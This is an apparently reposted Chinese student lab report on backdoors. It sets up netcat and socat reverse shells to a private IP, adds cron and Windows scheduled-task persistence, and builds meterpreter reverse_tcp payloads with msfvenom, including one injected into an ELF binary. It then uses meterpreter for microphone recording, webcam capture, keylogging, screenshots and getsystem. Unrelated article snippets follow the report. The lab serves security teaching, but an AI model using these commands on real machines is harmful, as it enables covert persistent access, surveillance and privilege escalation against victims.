Exp2-后门原理与实践

news/2025/10/7 18:06:13/文章来源:https://www.cnblogs.com/20234315cjx/p/19128719

一、实验目的

(1)使用netcat获取主机操作Shell,cron启动

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

二、基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
通过带有恶意附件的钓鱼邮件
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win:创建一个计划任务,在特定时间(如每天凌晨)、用户登录时或系统启动时执行后门程序。这是非常隐蔽和常用的方式
linux:通过 crontab -e 为用户添加定时任务,或者将脚本放入 /etc/cron.hourly/, /etc/cron.daily/ 等目录
(3)Meterpreter有哪些给你映像深刻的功能?
键盘记录:keyscan_start 可以开始记录用户的键盘输入
权限提升:利用 getsystem 命令尝试多种技术快速提权到 SYSTEM/root
桌面交互:使用 screenshot 截屏,获取屏幕信息
(4)如何发现自己有系统有没有被安装后门?
检查异常连接:使用 netstat -ano(Windows)或 ss -tunlp/netstat -tunlp(Linux)命令,查看有哪些不明 IP 地址和端口建立了出站或入站连接
使用流量分析工具:使用 Wireshark 等工具抓包分析,查看是否有异常的数据包发送到未知的远程服务器
查看安全日志:在 Windows 的事件查看器中查看“Windows 日志 -> 安全”,筛选失败的登录、新服务的创建、计划任务的创建等事件。在 Linux 下查看 /var/log/auth.log, secure, syslog 等,关注 SSH 登录记录和 sudo 提权记录

三、实验过程

(1)使用netcat获取主机操作Shell,cron启动
1.1查看主机和kali虚拟机的ip地址
主机
image
kali虚拟机
image
1.2使用netcat进行连接并获取shell
在windows终端下输入ncat -lp 4315,进入等待
image
在Linux终端下输入nc 192.168.31.108 4315 -e /bin/sh(这里的是自己WLAN的ipv4地址,端口号与自己上一步的指令对应)
image
此时再在windows终端下输入ls,可以看到主机已经正确获取了虚拟机的shell
image
1.3cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令
crontab指令增加一条定时任务,"-e"表示编辑
crontab -e
第一次编辑需要选择,我们选择2选项
进入编辑我们输入指令
22 * * * * /bin/netcat 192.168.31.108 4315 -e /bin/sh
设置自启动时间,每个小时的第22分钟执行后面的指令
1759819801425
在相对应的时间开始监听
image
时间节点已经到,我们可以看见这里window已经获得了Linux的shell

(2)使用socat获取主机操作Shell, 任务计划启动
2.1Windows开放4315端口
socat tcp-listen:4315 exec:cmd,pty,stderr
image
2.2kali虚拟机连接Windows获取终端
socat - tcp:192.168.31.108:4315
1759821367637
验证shell,验证成功
2.3任务计划启动
windows下打开计算机管理
image
创建任务
image
设置触发器
image
等待预定时间,Windows启动任务,socat.exe运行
image
kali虚拟机获得Windows Shell
1759822284459

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
3.1在Kali上用MSF meterpreter生成后门可执行程序20234315.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.12.131 LPORT=4315 -f exe > 20234315.exe
这里需要Windows主动连接kali,即反弹给kali,也就是kali的ip:192.168.12.131
1759822676042
3.2在Windows上监听4315端口等待接收可执行文件20234315.exe
ncat.exe -lv 4315 >20234315.exe
image
在kali上将生成的20234315.exe传送给Windows(这里注意ip是windows的ip)
1759823084882
image
image
3.3配置监听模块
在Kali上用msfconsole进入msf控制台
c09fb1ec9905b22fda3bc88da3f4d13
配置监听模块
以此输入
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.12.131(这里是自己kali虚拟机的ip)
set LPORT 4315(自己设置的端口)
1759823759618
开启监听
在kali虚拟机输入exploit
image

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取主机音频
record_mic
1759825411640
获取主机画面
screenshot
1759825454938
1759825483272
获取主机摄像头
webcam_snap
image
image
获取击键记录
keyscan_start
keyscan_dump
1759825569668
尝试提权
getsystem
getuid
1759825698346

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
5.1使用msf生成指定需要的shellcode并注入pwn1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.12.131 LPORT=4315 -x pwn1 -f elf > 20234315cjx
cdfde5729b8833d8ef501bea7a20104
5.2输入msfconsole进入msf控制台
image
5.3开始监听
chmod +x 20234315cjx 给予运行权限
./20234315cjx
可以看到监听成功
e24ef7a8a0b50f70015c1de7abd64c7

四、实验中遇到的问题

1.kali传输到windows端的后门程序打不开
解决方案:直接在kali这里复制后门程序,然后直接粘贴到windows的制定目录下面就行了
2.最后一步监听出现zsh: segmentation fault
解决方案:监听的是linux系统并非windows把windows改成linux/x86就行了

五、实验感悟

1.通过配置cron任务和Windows任务计划程序,我亲手将简单的网络工具改造成了能够在系统重启后依然存活的隐蔽通道。这让我明白,攻击者追求的并非一次性的入侵,而是长期的、隐蔽的控制。对比Linux的cron和Windows的任务计划,我认识到不同操作系统在权限管理和自启动机制上的差异,这为后续的防御排查提供了清晰的思路。
2.Meterpreter的功能让我印象深刻。当成功获取到目标主机的录音、摄像头实时画面和击键记录时,一种“隐私被一览无余”的震撼感油然而生。这不再是抽象的“被控制”,而是具象化的隐私窃取。尝试提权的过程更是让我意识到,一旦攻击者获得初始立足点,整个系统的安全防线都可能迅速崩塌。
3.Shellcode注入实践,将后门技术与二进制漏洞利用联系了起来。这让我认识到,后门不仅可以作为独立的程序存在,还可以作为一段精巧的代码 “寄生”在合法的程序内部。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/930690.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Hexo】4.Hexo 博客文章进行加密 - 实践

【Hexo】4.Hexo 博客文章进行加密 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "M…

思考的动力

.原文内容链接:思考的动力跳至內容 聊天歷程紀錄你說: 将思考我是谁?化为动力的人(每天都不由自主去想)ChatGPT 說: 这样的人,仿佛被一种无形的引力牵引着。不是为了追求某种标准答案,而是因为这个问题本身就像…

网站编程教学wordpress 移动端

1 Java面试资料总结 (github推荐指数高) 2 后端架构师 1. 综合 《Java 面试题 —— 老梁 Java 面试通关要点汇总集》《Java 面试题 —— 老徐 Java 初中级准备的面试题》《Java 面试题 —— 零度 Java 面试题系列》《Java 面试题 —— 东黄的学习方法和面…

DirectX-Graphics-Samples

DirectX-Graphics-Samplesmicrosoft/DirectX-Graphics-Samples: This repo contains the DirectX Graphics samples that demonstrate how to build graphics intensive applications on Windows.

星闪开发之Server-Client 指令交互控制OLED灯案例 - 教程

星闪开发之Server-Client 指令交互控制OLED灯案例 - 教程2025-10-07 17:57 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important;…

LRC and VIP - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

Software Foundations Vol.I : 多态与高阶函数(Poly)

Software Foundations Vol.I : 多态与高阶函数(Poly)多态 多态列表 在上一章中只使用了包含数的列表。很明显,程序还需要能够处理其它元素类型的列表 Inductive boollist : Type :=| bool_nil| bool_cons (b : bool) …

网站存在的问题及改进措施山东郓城网站建设

目录:1、应用场景2、优缺点3、FastText的原理4、FastText词向量与word2vec对比 目录: 1、应用场景 fastText是一种Facebook AI Research在16年开源的一个文本分类器。 其特点就是fast。相对于其它文本分类模型,如SVM,Logistic …

数学之美感悟。

从语言编码到数学信息:一脉相承的本质探索 久未读书却因郑琪老师的作业与《数学之美》相遇,这种 “偶然” 恰恰让我对 “语言与信息” 的认知有了更鲜活的触动。当我从 “编码” 视角重新审视我们习以为常的语言 ——…

基于DeploySharp 的深度学习模型部署测试平台:支持YOLO全系列模型

本文介绍了基于DeploySharp开发的深度学习模型部署测试平台的使用方法。该平台支持YOLO系列模型(v5-v13)及多种应用场景,提供OpenVINO和ONNX Runtime两种推理引擎,支持CPU/GPU/NPU等多种设备。文章详细说明了程序下…

zencart网站时间问题广东广州网点快速网站建设

镜像神经元机制等效于人工智能对输入数据系统上下文进行编码的系统。 生物神经系统的镜像神经元编码系统,对生物感知到的一系列行为序列的整体模式进行编码。生物神经系统在感知到行为序列中的某个特征触发模式时,触发神经系统输出整体模式的序列集合的…

复制别人的vmware虚拟机无法联网ubuntu2204

复制别人的虚拟机(ubuntu2204),无法联网,不一定是本地的问题,可能是这个虚拟机的问题 参考 https://zhuanlan.zhihu.com/p/674945911

河北建设厅网站打不开是什么原因新乡网站建设设计公司

表是数据库中负责数据存储的对象,在RDBMS中,数据以行、列的形式存储在表中。Oracle中表有很多种类型,最基础且应用最常用的类型就是堆表(Heap-Organized Table),本文列举了Oracle堆表的常用管理操作。 一、…

企网企业怎么做好网站优化

1.计算机网络的概念 \qquad计算机网络是一个将分散的,具有独立功能的计算机系统,通过通信设备与线路连接起来,由功能完善的软件实现资源共享和信息传递的系统。 \qquad这里的计算机系统,也可以成为端系统,其包括但不限…

源码做网站教程wordpress登陆加快

本发明专利技术涉及一种软件测试方法。更具体地说,本发明专利技术涉及一种地理信息系统软件测试方法,包括:编写测试用例文档并脚本化形成测试脚本;结合路径分析方法设置测试用例,按照测试用例配套至少一组测试原始数据…

Baklib内容中台AI重构智能服务 - 实践

Baklib内容中台AI重构智能服务 - 实践2025-10-07 17:38 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !i…

计算机网络学习分享-0

大家好,这是我的第一篇博客,是想要做一些学习上的记录以及分享,如果能够帮到人那我会相当高兴以及荣幸,路过的朋友如果发现我的错误希望能够指出,在此提前先感谢!好了话不多说 通过结构的视角并且简单的来看计算机…

预科02git使用

今日内容pycharm安装 git 版本控制 -- 协同开发 码云 -- 远程仓库 思维导图 个人博客 -- 技术人员昨日回顾typora 安装 使用标题 有序序号 无序序号 加粗 斜体 删除线 插入图片 插入表格 代码块python的简介python2和p…

关于网站开发的会议纪要wordpress page 调用

OS模块简单的来说它是一个Python的系统编程的操作模块,可以处理文件和目录这些我们日常手动需要做的操作。可以查看OS模块的帮助文档:>>> import os #导入os模块>>> help(os) #查看os模块帮助文档,里面详细的模块相关函数…

预科01Python复习

Python学习 Day 01 学习内容回顾: 1. Typora编辑器使用 1.1 标题格式:在文字首端添加# 可使文字成为标题样式,添加几个#,就使文字成为几级标题 1.2 字体格式:**字体加黑** *字体斜体* ***字体加粗且斜体*** ~~字…